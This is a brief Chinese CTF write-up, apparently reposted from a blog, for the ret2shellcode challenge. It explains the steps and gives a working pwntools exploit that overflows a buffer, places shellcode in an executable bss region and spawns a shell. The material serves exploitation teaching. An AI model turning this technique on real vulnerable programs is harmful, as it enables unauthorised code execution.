[WP]CTFwiki-shellcode
1.运行程序,没有提供 system ,32位程序,基本未开保护 2.IDA中发现 strncpy() 函数将我们输入的 v4 复制到 bss 段的 buf2 处 3.经过 gdb 查看 buf2 处的代码是具有 rwx 属性的,因此我们可以构造一段 shellcode 然后执行此处的代码。 4.查看 esp 和 ebp 来计算覆盖长度 5.构造exp #!/usr/bin/env python from pwn import * #EBP: 0xffffd158 --> 0x0 #ESP: 0xffffd0d0 --> 0xffffd0ec --> 0xf7ffd000 --> 0x26f34 sh = process('./ret2shellcode') buf_addr = 0x0804A080 payload = asm(shellcraft.sh()) #sh.recvuntil() length = 0x158 - 0xec + 4 sh.sendline(payload.ljust(length, 'a') + p32(buf_addr)) sh.interactive() 来源: https://www.cnblogs.com/Tsuiyields/p/11877354.html